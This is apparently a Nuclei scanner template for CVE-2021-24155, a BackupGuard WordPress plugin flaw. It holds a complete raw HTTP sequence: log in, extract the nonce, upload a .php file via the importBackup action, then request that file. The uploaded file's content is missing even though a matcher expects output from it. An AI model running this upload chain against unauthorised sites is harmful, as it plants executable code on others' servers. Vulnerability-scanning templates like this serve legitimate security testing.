id: CVE-2021-24155 info: name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload author: theamanrawat severity: high description: | WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution. remediation: Fixed in version 1.6.0. reference: - https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb - https://wordpress.org/plugins/backup/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24155 - http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2021-24155 cwe-id: CWE-434 epss-score: 0.94549 epss-percentile: 0.98968 cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 4 vendor: backup-guard product: backup_guard framework: wordpress tags: authenticated,wp,packetstorm,wp-plugin,cve2021,rce,wordpress,cve,backup,wpscan,intrusive http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921 -----------------------------204200867127808062083805313921 Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php" Content-Type: application/x-php -----------------------------204200867127808062083805313921-- - | GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers-condition: and matchers: - type: dsl dsl: - contains(header_4, "text/html") - status_code_4 == 200 - contains(body_3, '{\"success\":1}') - contains(body_4, 'CVE-2021-24155') condition: and extractors: - type: regex name: nonce group: 1 regex: - BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"}; internal: true